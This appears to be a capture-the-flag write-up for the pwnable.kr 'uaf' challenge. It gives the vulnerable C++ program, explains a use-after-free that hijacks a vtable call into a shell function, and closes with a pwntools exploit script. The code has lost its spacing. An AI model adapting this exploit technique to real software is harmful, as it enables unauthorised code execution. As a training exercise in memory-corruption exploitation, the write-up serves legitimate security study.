#include<fcntl.h>#include<iostream> #include<cstring>#include<cstdlib>#include<unistd.h>usingnamespacestd;classHuman{private:virtualvoidgive_shell(){system("/bin/sh");}protected:intage;stringname;public:virtualvoidintroduce(){cout<<"My name is "<<name<<endl;cout<<"I am "<<age<<" years old"<<endl;}};classMan:publicHuman{public:Man(stringname,intage){this->name=name;this->age=age;}virtualvoidintroduce(){Human::introduce();cout<<"I am a nice guy!"<<endl;}};classWoman:publicHuman{public:Woman(stringname,intage){this->name=name;this->age=age;}virtualvoidintroduce(){Human::introduce();cout<<"I am a cute girl!"<<endl;}};intmain(intargc,char*argv[]){Human*m=newMan("Jack",25);Human*w=newWoman("Jill",21);size_tlen;char*data;unsignedintop;while(1){cout<<"1. use\n2. after\n3. free\n";cin>>op;switch(op){case1:m->introduce();w->introduce();break;case2:len=atoi(argv[1]);data=newchar[len];read(open(argv[2],O_RDONLY),data,len);cout<<"your data is allocated"<<endl;break;case3:deletem;deletew;break;default:break;}}return0;}
The bug is clear, we can free the variables w and m but still call methods from
them. Moreover, we can create new objects of arbitrary size with any content we
want. Taking a quick look at the assembly, we can see that Man and Woman are
both allocated bins of size 24 so we need to allocate two bins of that size.
Let’s try filling a file with 24 As and running under gdb we get:
gef➤ r 24 test
Starting program: /home/yigit/Downloads/pwnable.kr/uaf/uaf 24 test
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400fcd <main+265> mov rax, QWORD PTR [rbp-0x38]
0x400fd1 <main+269> mov rax, QWORD PTR [rax]
0x400fd4 <main+272> add rax, 0x8
→ 0x400fd8 <main+276> mov rdx, QWORD PTR [rax]
0x400fdb <main+279> mov rax, QWORD PTR [rbp-0x38]
0x400fdf <main+283> mov rdi, rax
0x400fe2 <main+286> call rdx
0x400fe4 <main+288> mov rax, QWORD PTR [rbp-0x30]
0x400fe8 <main+292> mov rax, QWORD PTR [rax]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "uaf", stopped 0x400fd8 in main (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400fd8 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/20xw $rax
0x4141414141414141: Cannot access memory at address 0x4141414141414149
As we can see, the As are moved to rax. If we continue reading the disassembly,
we can see that the address at rax is dereferenced several times and eventually
used to call a function. This is because the classes have virtual functions
defined and hence
vtables are used
to call functions. When we inspect the memory during the normal execution of the
program, we see that the address pointed to by rax after running:
actually has the address of Human::give_shell. So, if we place that address-8
into the file we write to the allocated space, it should drop us a shell.
Here is some gdb commands to see what is going on in memory
frompwnimport*magic_addr=0x401570-8# 0x401570 points to the address of Human::give_shellsubstracting8runsthefunctionpayload=p32(magic_addr).ljust(24,b"\x00")withopen("payload","wb")asf:f.write(payload)p=process(["/home/uaf/uaf","24","payload"])p.writeline("3")# Free objectsp.writeline("2")# Allocate bins of size 24 eachp.writeline("2")p.writeline("1")p.clean()p.writeline("cat /home/uaf2/flag")print(p.clean())